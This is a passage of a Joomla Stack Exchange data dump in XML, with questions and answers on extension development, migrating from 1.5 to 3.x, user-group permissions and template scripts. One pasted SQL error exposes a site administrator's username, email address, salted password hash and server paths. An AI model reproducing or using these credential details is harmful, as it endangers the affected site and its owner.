'warning');&#xA;        $app-&amp;gt;enqueueMessage('Here was a big warning at line ' . __LINE__, 'error');&#xA;&#xA;        $task_failed = false;&#xA;        echo new JResponseJson($data, 'My main response message',$task_failed);&#xA;&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rendered JSON Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    success: true,&#xA;    message: &quot;My main response message&quot;,&#xA;    messages: {&#xA;        message: [&#xA;            &quot;This part was reached at line 26&quot;,&#xA;            &quot;Then this part was reached at line 27&quot;&#xA;        ],&#xA;        warning: [&#xA;            &quot;Here was a small warning at line 28&quot;&#xA;        ],&#xA;        error: [&#xA;            &quot;Here was a big warning at line 29&quot;&#xA;        ]&#xA;    },&#xA;    data: {&#xA;        myRequest: {&#xA;            option: &quot;com_example&quot;,&#xA;            task: &quot;mytaskname&quot;,&#xA;            Itemid: null&#xA;        },&#xA;        myFile: &quot;C:\mysite\components\com_example\controllers\forajax.php&quot;,&#xA;        myLine: &quot;Line 24&quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-07-10T01:53:46.447" LastActivityDate="2014-07-10T01:53:46.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2542" PostTypeId="2" ParentId="2520" CreationDate="2014-07-09T23:07:22.143" Score="5" Body="&lt;p&gt;You could assign an additional css class to the module, and then in your stylesheet, set display:none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following for example hides the action buttons for the module with ID=1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a[href*=&quot;id=1&quot;].btn.jmodedit {&#xA;    display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditDate="2014-07-18T07:57:59.237" LastActivityDate="2014-07-18T07:57:59.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2543" PostTypeId="1" CreationDate="2014-07-07T05:34:47.277" Score="0" ViewCount="243" Body="&lt;p&gt;I have tried to migrate a website in Joomla from version 1.5 to 2.5 using jUpgrade but I received an &quot;undefined migrating&quot; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Unknown column 'rawpassword' in 'field list' SQL=INSERT INTO `j25_users` (`id`,`name`,`username`,`email`,`password`,`rawpassword`,`usertype`,`block`,`sendEmail`,`registerDate`,`lastvisitDate`,`activation`,`params`,`newsletter`,`blog`) VALUES ('62','Administrator','idnadmin','webmaster@idnxchange.com','a67042770b2ebf18e330abbef9453a06:LKQiBAD5PjxFacEoXzHLSV7uhIAEfNGX','','Super Administrator','0','1','2011-06-09 23:43:07','2014-07-07 04:17:19','66b5d829f602c13165caecbe88d4f19f:RDRr56vAoRMkaVaQUnjRacD1xiCkDNgM','{\&quot;admin_language\&quot;&quot;\&quot;,\&quot;language\&quot;&quot;\&quot;,\&quot;editor\&quot;&quot;\&quot;,\&quot;helpsite\&quot;&quot;\&quot;,\&quot;timezone\&quot;&quot;UTC\&quot;}','0','1')' in /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/jupgrade.class.php:347 Stack trace: #0 /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/controller.php(45): jUpgrade-&amp;gt;upgrade() #1 {main} thrown in /home/tesit126/public_html/wm/administrator/components/com_jupgrade/includes/jupgrade.class.php on line 347&#xA;==========&#xA;[undefined] [undefined]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="sawan" LastActivityDate="2014-07-15T17:30:16.673" Title="Error while migrating a Joomla website from version 1.5 to 2.5" Tags="|php|migration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostTypeId="1" AcceptedAnswerId="3546" CreationDate="2014-07-10T09:11:06.903" Score="3" ViewCount="472" Body="&lt;p&gt;Please help me. I have a problem about user group in joomla 3.2.1.&#xA;I created a new user group(name: Hoa Si) then i create a new user(abc) for Hoa Si group. But i can not login with new user(abc) on front end. But if i change the new user(abc) to any group in user group then login successfull to front end. New user group create: USER GROUP MANAGER -&gt; NEW -&gt; Group Title *: Hoa Si ; Group Parent *: Public. Thanks advance!&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2014-07-10T13:12:17.463" Title="User group in joomla 3.2.1" Tags="|php|user|user-groups|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3544" PostTypeId="1" AcceptedAnswerId="3545" CreationDate="2014-07-10T09:22:34.870" Score="7" ViewCount="527" Body="&lt;p&gt;I want to transfer about 300 articles from a Joomla 1.5 website to a Joomla 3.3.1 website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access only to the Joomla 1.5 database but not to the backend (I have access to both for the joomla 3.3.1 website). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the table xx_content under Joomla 3.3 doesn't have the same structure/columns than the table xx_content under Joomla 1.5, I can't simply do a SQL query (both tables are in the same database). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the recommended practices to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is: export the J1.5 xx_content to a csv and then modify it to reflect the structure of the J3.3 xx_content and then import it in J3.3 xx_content. But I wonder if there isn't something easier.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-10T16:53:41.627" Title="Recommended practices regarding transfering database from Joomla 1.5 to Joomla 3" Tags="|joomla-3.x|database|sql|joomla-1.5|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3545" PostTypeId="2" ParentId="3544" CreationDate="2014-07-10T09:33:53.850" Score="7" Body="&lt;p&gt;What I would recommend you do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export the database for the Joomla 1.5 site, apart from the &lt;code&gt;#__users&lt;/code&gt; table&lt;/li&gt;&#xA;&lt;li&gt;Install a fresh copy of Joomla 1.5 on your localhost&lt;/li&gt;&#xA;&lt;li&gt;Import the database dump you downloaded before&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should now have a fresh Joomla 1.5 site with all you content.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://redcomponent.com/redcomponent/redmigrator&quot;&gt;redMIGRATOR&lt;/a&gt; which is a Joomla 1.5 extension that will migrate your site to Joomla 3.x&lt;/li&gt;&#xA;&lt;li&gt;Once your site has been successfully migrated, take a database dump of the &lt;code&gt;#__content&lt;/code&gt; table.&lt;/li&gt;&#xA;&lt;li&gt;On your &lt;strong&gt;live&lt;/strong&gt; Joomla 3 site that you said you have access to, import the database dump that you took from your localhost.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-10T09:33:53.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="2" ParentId="3543" CreationDate="2014-07-10T11:17:47.993" Score="9" Body="&lt;p&gt;You need to change the Group parent to registered (or any other than Public, Guest). As users from Public usergroup are not allowed to login at website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you need to change the permissions of your newly created usergroup.&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2014-07-10T11:17:47.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="2" ParentId="3543" CreationDate="2014-07-10T13:12:17.463" Score="2" Body="&lt;p&gt;It is not only creating a new user group, but also what &lt;strong&gt;Permissions&lt;/strong&gt; and access the users in a user group will have. If you have set your user group as a child of the &lt;strong&gt;Public&lt;/strong&gt; user group, then it won't have Site login permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should either go in the &lt;strong&gt;Global Configuration&lt;/strong&gt; -&gt; &lt;strong&gt;Permissions&lt;/strong&gt; and assign to it the right permissions, &quot;&lt;strong&gt;Site Login&lt;/strong&gt;&quot; and only for simple front-end login (registered users), or set this usergroup as a &lt;strong&gt;child of&lt;/strong&gt; the &lt;strong&gt;Registered&lt;/strong&gt; user group, in order to &lt;strong&gt;inherit&lt;/strong&gt; its permissions.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-07-10T13:12:17.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3548" PostTypeId="1" AcceptedAnswerId="3549" CreationDate="2014-07-10T13:30:04.667" Score="1" ViewCount="72" Body="&lt;p&gt;I'm developing a Joomla 3.x.x module which connects through to a components table in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got the following code in the helper.php which outputs the variables successfully:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function renderElement($table_name, $field_name, $field_value) {&#xA;    $result = '';&#xA;&#xA;    switch ($table_name) {&#xA;&#xA;    case '#__competition_data':&#xA;    switch($field_name){&#xA;    case 'id':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'title':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'introtext':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'maintext':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'image':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'question':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'correct_answer':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'false_answer1':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'false_answer2':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'closing_date':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'terms':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'additional_info':&#xA;    $result = $field_value;&#xA;    break;&#xA;    case 'created_by':&#xA;    $user = JFactory::getUser($field_value);&#xA;    $result = $user-&amp;gt;name;&#xA;    break;&#xA;    }&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The frontend php file then outputs the above using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;span8&quot;&amp;gt;&amp;lt;?php echo ModCompetitionHelper::renderElement($params-&amp;gt;get('item_table'), $field_name, $field_value); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But they are outputted as different DIV's, one of them is an image so I want to be able to control what they are outputted as.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case '#__competition_data':&#xA;    switch($field_name){&#xA;    case 'id':&#xA;    $result = $field_value_id;&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't work out how to do it though, any ideas please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="52" LastEditDate="2014-07-30T20:40:23.727" LastActivityDate="2014-07-30T20:40:23.727" Title="How can I modify/control the HTML output of my Module?" Tags="|mysql|module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostTypeId="2" ParentId="3548" CreationDate="2014-07-10T14:05:19.983" Score="2" Body="&lt;pre&gt;&lt;code&gt;case 'image':&#xA;    $result = '&amp;lt;img src=&quot;' . $field_value . '&quot; /&amp;gt;';&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How about this for example?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-07-10T14:05:19.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3550" PostTypeId="1" CreationDate="2014-07-10T15:35:16.097" Score="0" ViewCount="4697" Body="&lt;p&gt;I need an extension recommendation for the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page with a form, where the user can input their email address and select a file&lt;/li&gt;&#xA;&lt;li&gt;File file selected needs to be delivered via email as an attachment (PDF file).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have tried jforms and breezingforms but without the desired outcome.&lt;/p&gt;&#xA;" OwnerUserId="1576" LastEditorUserId="1629" LastEditDate="2014-07-31T12:11:20.360" LastActivityDate="2014-07-31T12:11:20.360" Title="Submit form and send email with attachment" Tags="|component|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostTypeId="2" ParentId="3544" CreationDate="2014-07-10T16:53:41.627" Score="4" Body="&lt;p&gt;Finally, I've done the export/import via CSV (as I also had to edit all the fulltext entries) and here are the little things that I had to search for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;export the Db via CSV, then edit it with Open Office Calc* &lt;/li&gt;&#xA;&lt;li&gt;edit the column so that they match the Joomla3.3 structure.&lt;/li&gt;&#xA;&lt;li&gt;set the column &lt;code&gt;asset_idFK&lt;/code&gt; to &lt;code&gt;O&lt;/code&gt;, Joomla will assign the correct value when you will open/save your article from the backend/frontend.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To encapsulate all the entries with&lt;/strong&gt; &lt;code&gt;&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Still in Open Office Calc, format all the cells to text :  CTRL+A, right click , check text&lt;/li&gt;&#xA;&lt;li&gt;Select Save As: CSV and check &quot;edit filter settings&quot;&lt;/li&gt;&#xA;&lt;li&gt;In the pop up, &quot;keep same format&quot; (don't choose ODT) and check:  quote all text cells (cf. this &lt;a href=&quot;https://stackoverflow.com/questions/10905588/exporting-csv-properly-open-office-save-numbers-as-text&quot;&gt;question&lt;/a&gt; for screen shoot)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Escaped comma&lt;/strong&gt;:&#xA;I don't know why but Open Office replaces all the escaped comma &lt;code&gt;\&quot;&lt;/code&gt; by &lt;code&gt;\&quot;&quot;&lt;/code&gt;, so open the .csv with a text editor as Notepad++ and Find replace &lt;code&gt;\&quot;&quot;&lt;/code&gt;  by  &lt;code&gt;\&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tried to do it with Excel, but because I have special western characters, I ended up with a corrupted characters. But if you have to do it with Excel, add &lt;code&gt;sep=;&lt;/code&gt; at the first line of the .CSV to tell Excel what are the separator. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-07-10T16:53:41.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostTypeId="1" AcceptedAnswerId="3555" CreationDate="2014-07-11T02:18:01.917" Score="3" ViewCount="314" Body="&lt;p&gt;I'm new to Joomla! extension development, and I'm a little confused about the manifest XML file. What's the correct way to use these three &lt;code&gt;version&lt;/code&gt; tags at the beginning of the XML file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;extension version=&quot;2.5&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-07-30T17:33:47.913" LastActivityDate="2014-07-30T17:33:47.913" Title="Meaning of the &quot;version&quot; in any extension XML manifest file" Tags="|xml|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="2" ParentId="3553" CreationDate="2014-07-11T05:03:56.713" Score="12" Body="&lt;p&gt;First version tag specifies the xml version.&#xA;Please refer &lt;a href=&quot;http://www.w3.org/TR/xhtml1/&quot;&gt;W3 standards for XML&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second version tag identifies the version of Joomla for which this extension is developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And third version stands for the version of this extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer &lt;a href=&quot;http://docs.joomla.org/Manifest_files&quot;&gt;Joomla Manifest&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-07-11T05:03:56.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostTypeId="1" AcceptedAnswerId="3566" CreationDate="2014-07-11T09:18:04.490" Score="1" ViewCount="200" Body="&lt;p&gt;My &quot;share this&quot; button is written in the index.php and thus appear also in frontend straight into my editor. How could I disable it (only) when I use frontend editing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my template/index.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;var switchTo5x=true;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://w.sharethis.com/button/buttons.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://s.sharethis.com/loader.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;stLight.options({doNotCopy:true});&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;var options={ &quot;publisher&quot;: &quot;aef4218e-316d-45b9-9571-fb565e462989&quot;, &quot;position&quot;: &quot;left&quot;, &quot;ad&quot;: { &quot;visible&quot;: false, &quot;openDelay&quot;: 5, &quot;closeDelay&quot;:0}, &quot;chicklets&quot;: { &quot;items&quot;: [&quot;facebook&quot;, &quot;twitter&quot;, &quot;email&quot;]}};&#xA;var st_hover_widget = new sharethis.widgets.hoverbuttons(options);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2014-07-11T15:37:16.123" LastActivityDate="2014-07-11T15:37:16.123" Title="how to exclude a script written in the index.php (only) in the frontend" Tags="|php|javascript|front-end|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="1" CreationDate="2014-07-08T18:51:14.560" Score="2" ViewCount="1863" Body="&lt;p&gt;How can i make all my links in joomla including menu items and article links absolute links and not relative ones? and of course, without hacking the core files.&lt;/p&gt;&#xA;" OwnerUserId="3885" OwnerDisplayName="user3586610" LastActivityDate="2019-11-15T08:20:59.863" Title="How to generate absolute urls in joomla 3" Tags="|seo|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="2" ParentId="3560" CreationDate="2014-07-08T19:27:43.590" Score="7" Body="&lt;p&gt;The best way is probably to create a plug-in on the onContentPrepare event which does a search-and-replace on any links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason you are wanting to do this, though?  You have tagged this SEO, but any argument I have seen for absolute links over relative links would be countered by Joomla's use of the base tag.  The rest seems to be all hearsay, and it is bad development practise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about broken links, run a broken link checker.  Absolute links are just as likely to break.&lt;/p&gt;&#xA;" OwnerUserId="1622" OwnerDisplayName="Richard B" LastActivityDate="2014-07-08T19:27:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="2" ParentId="3558" CreationDate="2014-07-11T11:52:32.840" Score="2" Body="&lt;p&gt;It's better if you avoid any modification to core files. If not, you can easily lost all changes when Joomla is updated to a new release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To implement common scripts, you can download extensions from JED &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/&lt;/a&gt; There are several already developed modules for &lt;strong&gt;sharethis&lt;/strong&gt;. This option is the best to have configuration support on proven use cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer to install your own custom script, there also several extensions for this. My personal choice is NoNumber's Sourcerer &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, front-end assigment is solved. Furthermore, plenty of assigment conditions are available to assign the script.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-11T11:52:32.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="1" AcceptedAnswerId="3564" CreationDate="2014-07-11T12:02:19.103" Score="2" ViewCount="1189" Body="&lt;p&gt;I have been asked by a friend if I can make their existing Library db more modern and user friendly, whilst incorporating it into their existing website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The existing db is a simple access db containing thousands of books and dvds (nursery school). They require a simple (but fast) search facility where they can search multiple datasets i.e books and/or dvds - think Twitter typeahead.js example here (&lt;a href=&quot;http://twitter.github.io/typeahead.js/examples/#multiple-datasets&quot; rel=&quot;nofollow&quot;&gt;http://twitter.github.io/typeahead.js/examples/#multiple-datasets&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They currently have a Joomla 3.x site which I created, and they would like a the new Library db to be incorporated 'within this' having a single login for the website and Library search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their requirements are that registered users/staff should be able to; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;search for either books and/or dvds  &lt;/li&gt;&#xA;&lt;li&gt;add/edit existing records (preferably from the front-end)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question is, what would be the best way to approach such a task? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to create a stand along application that can accomplish this, using Twitter typeahead.js (&lt;a href=&quot;http://twitter.github.io/typeahead.js/examples&quot; rel=&quot;nofollow&quot;&gt;http://twitter.github.io/typeahead.js/examples&lt;/a&gt;) and a stand alone database, however how would I incorporate this into the existing Joomla website? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I 'link to' this application from within Joomla, or would I need to import the Library db into Joomla then work from there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite new to me so I welcome any advice or ideas that anybody has. Also, if there is a better or more efficient way or accomplishing this task please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to use Twitter typeahead.js as the functionality is much more impressive than the core Joomla search. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-06-28T11:21:01.120" Title="Advice on creating a custom searchable db within Joomla" Tags="|database|javascript|search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostTypeId="2" ParentId="3563" CreationDate="2014-07-11T12:32:29.650" Score="2" Body="&lt;p&gt;You can build everything as part of the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how the database structure looks like, you need to import it to MySQL (or another supported database), but if you could bring / adapt it to match Joomla needs (id, sorting, etc...), you can rely on JTable / JModelLegacy &amp;amp; Co. for CRUD operations, also in the front-end. =&gt; for this you need to build two views (see basic editing in com_banners).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For typeahead to work, you can create a controller that returns a raw / json response so that you can load the dataset remotely. Based on how fast this works, maybe some caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After using typeahead to get a string, you also need to perform the query itself and display the results. =&gt; two views, one for search results, one for showing an individual book / dvd.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-11T12:32:29.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3565" PostTypeId="2" ParentId="928" CreationDate="2014-07-11T13:51:22.393" Score="3" Body="&lt;p&gt;I have not tested this in later Joomla versions, but at least in 2.5.x it was possible to display a list of files in a folder in the form of the drop-down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path is hardcoded and rather limited , BUT for some use cases it may just do the trick and provide the flexibility needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ladies and gentleman, presenting the &lt;code&gt;filelist&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field &#xA;        name=&quot;yourfile&quot; &#xA;        type=&quot;filelist&quot;&#xA;        label=&quot;COM_EXAMPLE_FIELD_YOURFILE_LABEL&quot; &#xA;        description=&quot;COM_EXAMPLE_FIELD_YOURFILE_DESC&quot; &#xA;        directory=&quot;media/com_example/files/&quot;&#xA;        hide_none=&quot;true&quot;&#xA;        hide_default=&quot;true&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-11T13:51:22.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3566" PostTypeId="2" ParentId="3558" CreationDate="2014-07-11T14:08:33.007" Score="2" Body="&lt;p&gt;You could wrap the JS loading into an &lt;code&gt;if&lt;/code&gt; clause which checks if the current layout is an edit layout. Something like this (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('layout') != 'edit')&#xA;{&#xA;    // Load your JS here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-11T14:08:33.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3567" PostTypeId="1" CreationDate="2014-07-11T14:33:14.197" Score="3" ViewCount="2117" Body="&lt;p&gt;I am using com_ajax in joomla 2.5 - &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/component&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have many instances(duplicate modules) of same module from where I call to com_ajax component by jQuery ajax. So is com_ajax calls to my module's helper.php file to get data for ajax call as we know. Problem is I want to access parameters of another module instance in helper.php file which is not possible by the default call &lt;code&gt;$module = JModuleHelper::getModule('mod_name_here');&lt;/code&gt; so I was trying to achieve this way by passing module &lt;code&gt;id&lt;/code&gt; to helper.php file from module's jQuery ajax call -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.module.helper');&#xA;$input  = JFactory::getApplication()-&amp;gt;input;&#xA;$mod_id = $input-&amp;gt;get('module_id'); //module_id passed by ajax call             &#xA;$module = null; &#xA;$modules = JModuleHelper::_load(); &#xA;$total = count($modules); $name=&quot;mod_name_here&quot;;&#xA;&#xA;for ($i = 0; $i &amp;lt; $total; $i++)&#xA;{&#xA;    // Match the name of the module&#xA;    if (($modules[$i]-&amp;gt;name == $name || $modules[$i]-&amp;gt;module == $name)&amp;amp;&amp;amp;($modules[$i]-&amp;gt;id==$mod_id))&#xA;    {&#xA;        $module = $modules[$i];&#xA;        break; // Found it          &#xA;    }&#xA;}               &#xA;$params1 = new JRegistry();&#xA;$params1-&amp;gt;loadString($module-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so in &lt;code&gt;$params1&lt;/code&gt; I am getting the settings of my desired module instance.But debugger hangs on line &lt;code&gt;$modules = JModuleHelper::_load();&lt;/code&gt; don't know why but when I put these same codes in a module main php file for testing, things work. So why doesn't it goes further after that line? Any alternatives?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="159" LastEditDate="2014-07-11T19:17:06.860" LastActivityDate="2014-11-09T02:16:34.873" Title="Can't access jmodulehelper load method in module helper file" Tags="|joomla-2.5|joomla-3.3.x|ajax|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostTypeId="2" ParentId="3563" CreationDate="2014-07-11T19:03:28.057" Score="2" Body="&lt;p&gt;Perhaps a simple approach would be to import the Access records as Articles in the #__content table, and use the Categories and/or Tags to separate the Books/DVDs.  This way you can leverage all the core search/sort/display features of Joomla without changing a line of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there are endless extensions to search and otherwise work with core Joomla data such as RSS, Twitter and Facebook, etc. that would then be instantly available for your use.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-07-11T19:03:28.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
